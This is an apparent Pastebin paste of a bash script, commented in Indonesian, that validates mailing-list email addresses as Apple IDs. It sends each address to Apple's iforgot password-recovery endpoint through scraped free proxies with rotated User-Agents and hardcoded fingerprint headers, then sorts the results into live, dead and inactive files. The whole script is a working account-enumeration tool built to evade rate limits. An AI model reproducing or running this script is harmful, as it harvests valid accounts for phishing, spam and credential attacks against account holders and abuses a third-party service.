Advertisement
Guest User

Untitled

a guest
Mar 20th, 2019
161
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.38 KB | None | 0 0
  1. #!/bin/bash
  2. # http://asdf.gg/apple.sh
  3. # hasil recode dari source https://pastebin.com/AZP33cUp
  4.  
  5. if [ ! -d tmp ];then
  6. mkdir tmp
  7. fi
  8.  
  9. #ambil User-Agent
  10. cat > tmp/ua.lst <<_EOF
  11. Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
  12. Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
  13. Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.83 Safari/537.1
  14. Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  15. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36
  16. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  17. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36
  18. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
  19. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36
  20. Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.64 Safari/537.31
  21. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
  22. Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
  23. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
  24. Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
  25. Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
  26. Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
  27. Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
  28. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
  29. Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
  30. Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36
  31. _EOF
  32. Proxy(){
  33. echo "+ ambil Proxy terbaru dari free-proxy-list.net......."
  34. #ambil Proxy terbaru
  35. if [ -f tmp/proxy ];then
  36. rm -f tmp/proxy
  37. fi
  38. if [ -f tmp/proxy ];then
  39. rm -f tmp/proxy.lst
  40. fi
  41. if [ -f tmp/proxy.txt ];then
  42. rm -f tmp/proxy.txt
  43. fi
  44.  
  45. wget -q https://free-proxy-list.net -O tmp/proxy.txt
  46. for ambil in {1..81}
  47. do
  48. cat tmp/proxy.txt | awk '{gsub("Last Checked</th></tr></thead><tbody>","~")}1' | awk '{gsub("</tr></tbody><tfoot><tr>","~")}1' | grep "~" | cut -d '~' -f 2 | awk '{gsub("<tr>","~")}1' | cut -d '~' -f $ambil | awk '{gsub("<td>","ambil=:")}1' | awk '{gsub("</td>",":")}1' | egrep -o "ambil=\:[^\:]+" | head -2 | cut -d ":" -f 2 | paste -d ":" -s >> tmp/proxy
  49. done
  50. cat tmp/proxy | grep ":" | uniq > tmp/proxy.lst
  51. cat tmp/proxy.lst
  52. }
  53.  
  54. # Do automatic update
  55. # before passing arguments
  56. # echo "[+] Doing an automatic update from server slackerc0de.us on `date`"
  57. # updater "auto"
  58.  
  59.  
  60. if [[ $inputFile == '' || $targetFolder == '' || $sendList == '' || $perSec == '' ]]; then
  61. cli_mode="interactive"
  62. else
  63. cli_mode="interpreter"
  64. fi
  65.  
  66. # Assign false value boolean
  67. # to both options when its null
  68. if [ -z "${isDel}" ]; then
  69. isDel='n'
  70. fi
  71.  
  72. if [ -z "${isCompress}" ]; then
  73. isCompress='n'
  74. fi
  75.  
  76. SECONDS=0
  77.  
  78. # Asking user whenever the
  79. # parameter is blank or null
  80. if [[ $inputFile == '' ]]; then
  81. # Print available file on
  82. # current folder
  83. # clear
  84. read -p "Enter mailist file: " inputFile
  85.  
  86.  
  87. fi
  88.  
  89. if [[ $targetFolder == '' ]]; then
  90. read -p "Enter target folder: " targetFolder
  91. # Check if result folder exists
  92. # then create if it didn't
  93. if [[ ! -d "$targetFolder" ]]; then
  94. echo "[+] Creating $targetFolder/ folder"
  95. mkdir $targetFolder
  96. else
  97. read -p "$targetFolder/ folder are exists, append to them ? [y/n]: " isAppend
  98. if [[ $isAppend == 'n' ]]; then
  99. exit
  100. fi
  101. fi
  102. else
  103. if [[ ! -d "$targetFolder" ]]; then
  104. echo "[+] Creating $targetFolder/ folder"
  105. mkdir $targetFolder
  106. fi
  107. fi
  108.  
  109. if [[ $isDel == '' || $cli_mode == 'interactive' ]]; then
  110. read -p "Delete list per check ? [y/n]: " isDel
  111. fi
  112.  
  113. if [[ $isCompress == '' || $cli_mode == 'interactive' ]]; then
  114. read -p "Compress the result ? [y/n]: " isCompress
  115. fi
  116.  
  117. if [[ $sendList == '' ]]; then
  118. read -p "How many list send: " sendList
  119. fi
  120.  
  121. if [[ $perSec == '' ]]; then
  122. read -p "Delay time: " perSec
  123. fi
  124.  
  125.  
  126. urlencode() {
  127. # urlencode <string>
  128.  
  129. local length="${#1}"
  130. for (( i = 0; i < length; i++ )); do
  131. local c="${1:i:1}"
  132. case $c in
  133. [a-zA-Z0-9.~_-]) printf "$c" ;;
  134. *) printf '%s' "$c" | xxd -p -c1 |
  135. while read c; do printf '%%%s' "$c"; done ;;
  136. esac
  137. done
  138. }
  139.  
  140.  
  141. fatkus_request() {
  142. # Regular Colors
  143. BLACK='\033[0;30m'
  144. RED='\033[0;31m'
  145. GREEN='\033[0;32m'
  146. YELLOW='\033[0;33m'
  147. BLUE='\033[0;34m'
  148. PURPLE='\033[0;35m'
  149. CYAN='\033[0;36m'
  150. NC='\033[0m'
  151.  
  152. # Bold
  153. BBlack='\033[1;30m'
  154. BRed='\033[1;31m'
  155. BGreen='\033[1;32m'
  156. BYellow='\033[1;33m'
  157. BBlue='\033[1;34m'
  158. BPurple='\033[1;35m'
  159. BCyan='\033[1;36m'
  160.  
  161. # Underline
  162. UBlack='\033[4;30m'
  163. URed='\033[4;31m'
  164. UGreen='\033[4;32m'
  165. UYellow='\033[4;33m'
  166. UBlue='\033[4;34m'
  167. UPurple='\033[4;35m'
  168. UCyan='\033[4;36m'
  169.  
  170. # Background
  171. On_Black='\033[40m'
  172. On_Red='\033[41m'
  173. On_Green='\033[42m'
  174. On_Yellow='\033[43m'
  175. On_Blue='\033[44m'
  176. On_Purple='\033[45m'
  177. On_Cyan='\033[46m'
  178.  
  179. # High Intensty
  180. IBlack='\033[0;90m'
  181. IRed='\033[0;91m'
  182. IGreen='\033[0;92m'
  183. IYellow='\033[0;93m'
  184. IBlue='\033[0;94m'
  185. IPurple='\033[0;95m'
  186. ICyan='\033[0;96m'
  187.  
  188. # Bold High Intensty
  189. BIBlack='\033[1;90m'
  190. BIRed='\033[1;91m'
  191. BIGreen='\033[1;92m'
  192. BIYellow='\033[1;93m'
  193. BIBlue='\033[1;94m'
  194. BIPurple='\033[1;95m'
  195. BICyan='\033[1;96m'
  196.  
  197. # High Intensty backgrounds
  198. On_IBlack='\033[0;100m'
  199. On_IRed='\033[0;101m'
  200. On_IGreen='\033[0;102m'
  201. On_IYellow='\033[0;103m'
  202. On_IBlue='\033[0;104m'
  203. On_IPurple='\033[10;95m'
  204. On_ICyan='\033[0;106m'
  205.  
  206. SECONDS=0
  207.  
  208. # echo "$1 => $csrf | $nsid"
  209. cproxy="$(grep -c ':' tmp/proxy.lst)"
  210. # if [[ $cproxy > 0 ]]; then
  211. # Proxy
  212. # fi
  213. rand_useragent=$(head -$((${RANDOM} % `wc -l < tmp/ua.lst` + 1)) tmp/ua.lst | tail -1)
  214. rand_proxy=$(head -$((${RANDOM} % `wc -l < tmp/proxy.lst` + 1)) tmp/proxy.lst | tail -1)
  215. posted=`curl --max-time 20 --connction-timeout 20 --proxy "$rand_proxy" 'https://iforgot.apple.com/password/verify/appleid' -H 'Origin: https://iforgot.apple.com' -H 'Accept-Encoding: gzip, deflate, br' -H 'X-Apple-I-FD-Client-Info: {"U":"'$rand_useragent'","L":"en-US","Z":"GMT+01:00","V":"1.1","F":"Fla44j1e3NlY5BSo9z4ofjb75PaK4Vpjt.gEngMQEjZr_WhXTA2s.XTVV26y8GGEDd5ihORoVyFGh8cmvSuCKzIlnY6xljQlpRD_WhtdBbfOkexf7_OLgiPFTuESBRPLraa6hpgmVidPZW2AUMnGWVQdgMVQdg1kzoMpwoNJ9z4oYYLzZ1kzDlSgyyITL5q8sgEV18u1.BUs_43wuZPup_nH2t05oaYAhrcpMxE6DBUr5xj6KkuL5raZmThb1fqgXK_Pmtd0vcxolldQTPNTrLn91zDz.ICMpwoNSdzXrdwNBwe98vDdYejftckuyPBDjaY2ftckkCoq1HACVdVxJmavSY9v5iLs2dI_AIQjvEodUW2vqCRjOI0NTg7lr9ey.25.ea1b9BRcWqrTKyc2x8jXGfe2RjOI0NFgBFY5BNlrJNNlY5QB4bVNjMk.8D3"}' -H 'Accept-Language: en-US,en;q=0.9' -H 'sstt: bGRU9ZOFkiK52gs1vXN9qI3a8kfF9IzdEE5EWO31eJVbNwL0okyKms0hU68xT7EnVZB07Y%2BqRX3qq3JVyGZIJL%2FrWMqCriSP4sf3pvznkDNvn09NAnNtUPkBelJiJDIUN52GIzbmfjXY1FbUJX%2FB6977P8raqmk%2F1rWz8F47QqgtMDObr04lPkMjnwD8yB00b5ZLVBtXHtgkXxKRAGxrzQctmOv8oF1kTuSXCY4cK5fa8JcJPkY1eTP8Wi3KJNkR5gsF75baUvZ00lndbvL6YknzM1s7cnizVm4aYexr%2BRUG7N%2Ffsa4I2wXmlRk55mL9uw%2BxDp3%2FMzDev9LEFZInWVrBXrMb8GxFm4U6DHUAWTKnyrrHtw7pljccIvbny8BTULd6qpfzT1nlX%2Bzt' -H 'User-Agent: ${rand_useragent}' -H 'Content-Type: application/json' -H 'Accept: application/json, text/javascript, */*; q=0.01' -H 'Referer: https://iforgot.apple.com/password/verify/appleid' -H 'X-Requested-With: XMLHttpRequest' -H 'Connection: keep-alive' --data-binary '{"id":"'$1'"}' --compressed -D - -s -L`
  216. duration=$SECONDS
  217.  
  218. dead="$(echo "$posted" | grep -c 'account/emailnotfound')"
  219. unkown="$(echo "$posted" | grep -c '503 Service Temporarily Unavailable')"
  220. live="$(echo "$posted" | grep -c '/session/timeout')"
  221. inactive="$(echo "$posted" | grep -c 'This person record is inactive.')"
  222. forbidden="$(echo "$posted" | grep -c '403 Forbidden')"
  223. header="${UYellow}`date +%H:%M:%S` from ${BICyan}$inputFile ${BIGreen}to ${BCyan}$targetFolder ${BPurple}$rand_proxy"
  224.  
  225. if [[ $dead == 1 ]]; then
  226. printf "[$header] $2/$3. ${BIRed}DIE => $1 ${NC}"
  227. echo "$1" >> $4/die.txt
  228. elif [[ $live == 2 ]]; then
  229. printf "[$header] $2/$3. ${BGreen}LIVE => $1 ${NC}"
  230. echo "$1" >> $4/live.txt
  231. elif [[ $inactive == 1 ]]; then
  232. printf "[$header] $2/$3. ${CYAN}INACTIVE => $1 ${NC}"
  233. echo "$1" >> $4/inactive.txt
  234. elif [[ $unkown > 0 ]]; then
  235. # grep -v -- "$rand_proxy" tmp/proxy.lst > "tmp/proxy_temp" && mv "tmp/proxy_temp" tmp/proxy.lst
  236. # printf "[$header] $2/$3. ${CYAN}BANNED => $1 ${NC} - REMAINING $(grep -c ":" tmp/proxy.lst) Proxy"
  237. printf "[$header] $2/$3. ${CYAN}BANNED => $1 ${NC}"
  238. echo "$1" >> $4/recheck.txt
  239. echo "$rand_proxy" >> proxyBANNED.txt
  240. elif [[ $forbidden == 3 ]]; then
  241. printf "[$header] $2/$3. ${CYAN}403 FORBIDDEN => $1 ${NC}"
  242. echo "$1" >> $4/recheck.txt
  243. echo "$rand_proxy" >> proxy_forbidden.txt
  244. else
  245. # grep -v -- "$rand_proxy" tmp/proxy.lst > "tmp/proxy_temp" && mv "tmp/proxy_temp" tmp/proxy.lst
  246. # printf "[$header] $2/$3. ${CYAN}PROXY ERROR => $1 ${NC} - REMAINING $(grep -c ":" tmp/proxy.lst) Proxy"
  247. printf "[$header] $2/$3. ${CYAN}PROXY ERROR => $1 ${NC}"
  248. echo "$rand_proxy" >> proxy_error.txt
  249. echo "$1" >> $4/recheck.txt
  250. echo "========================================================================${rand_proxy}========================================================================" >> reason.txt
  251. echo "Waktu : $(date)" >> reason.txt
  252. echo "Email : $1" >> reason.txt
  253. echo "Proxy : $rand_proxy" >> reason.txt
  254. echo "User-Agent : $rand_useragent" >> reason.txt
  255. echo "" >> reason.txt
  256. echo "$posted" >> reason.txt
  257. echo "========================================================================${rand_proxy}========================================================================" >> reason.txt
  258. fi
  259.  
  260. # rm -f $1.html
  261.  
  262. printf "\n"
  263. }
  264.  
  265. if [[ ! -f $inputFile ]]; then
  266. echo "[404] File mailist not found. Check your mailist file name."
  267. ls -l
  268. exit
  269. fi
  270.  
  271. # Preparing file list
  272. # by using email pattern
  273. # every line in $inputFile
  274. echo "[+] Cleaning your mailist file"
  275. grep -Eiorh '([[:alnum:]_.-]+@[[:alnum:]_.-]+?\.[[:alpha:].]{2,6})' $inputFile | tr '[:upper:]' '[:lower:]' | sort | uniq > temp_list && mv temp_list $inputFile
  276.  
  277. # Finding match mail provider
  278. echo "#################PROXY##################"
  279. Proxy
  280. echo "########################################"
  281. # Print total line of mailist
  282. totalLines=`grep -c "@" $inputFile`
  283. echo "There are $totalLines of list."
  284. echo " "
  285. echo "Hotmail: `grep -c "@hotmail" $inputFile`"
  286. echo "Yahoo: `grep -c "@yahoo" $inputFile`"
  287. echo "Apple: `grep -c "@Apple" $inputFile`"
  288. echo "Gmail: `grep -c "@gmail" $inputFile`"
  289. echo "Aol: `grep -c "@aol" $inputFile`"
  290. echo "########################################"
  291. # Extract email per line
  292. # from both input file
  293. IFS=$'\r\n' GLOBIGNORE='*' command eval 'mailist=($(cat $inputFile))'
  294. con=1
  295.  
  296. # get_token
  297.  
  298. echo "[+] Sending $sendList email per $perSec seconds"
  299.  
  300. for (( i = 0; i < "${#mailist[@]}"; i++ )); do
  301. username="${mailist[$i]}"
  302. indexer=$((con++))
  303. tot=$((totalLines--))
  304. fold=`expr $i % $sendList`
  305. if [[ $fold == 0 && $i > 0 ]]; then
  306. header="`date +%H:%M:%S`"
  307. duration=$SECONDS
  308. # echo "Waiting $perSec seconds. $(($duration / 3600)) hours $(($duration / 60 % 60)) minutes and $(($duration % 60)) seconds elapsed, ratio $sendList email / $perSec seconds"
  309. sleep $perSec
  310. fi
  311.  
  312. # if [[ -f $targetFolder/unknown.txt ]]; then
  313. # echo "Token expired. Waiting last request done..."
  314. # wait
  315. # sleep 1
  316. # get_token
  317. # sleep 2
  318. # rm -f $targetFolder/unknown.txt
  319. # fi
  320.  
  321. fatkus_request "$username" "$indexer" "$tot" "$targetFolder" "$inputFile" &
  322.  
  323. if [[ $isDel == 'y' ]]; then
  324. grep -v -- "$username" $inputFile > "$inputFile"_temp && mv "$inputFile"_temp $inputFile
  325. fi
  326. done
  327.  
  328. # waiting the background process to be done
  329. # then checking list from garbage collector
  330. # located on $targetFolder/unknown.txt
  331. echo "[+] Waiting background process to be done"
  332. wait
  333. wc -l $targetFolder/*
  334.  
  335. if [[ $isCompress == 'y' ]]; then
  336. tgl=`date`
  337. tgl=${tgl// /-}
  338. zipped="$targetFolder-$tgl.zip"
  339.  
  340. echo "[+] Compressing result"
  341. zip -r "compressed/$zipped" "$targetFolder/die.txt" "$targetFolder/live.txt" "$targetFolder/limited.txt"
  342. echo "[+] Saved to compressed/$zipped"
  343. mv $targetFolder haschecked
  344. echo "[+] $targetFolder has been moved to haschecked/"
  345. fi
  346. #rm $inputFile
  347. duration=$SECONDS
  348. echo "Checking done in $(($duration / 3600)) hours $(($duration / 60 % 60)) minutes and $(($duration % 60)) seconds."
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement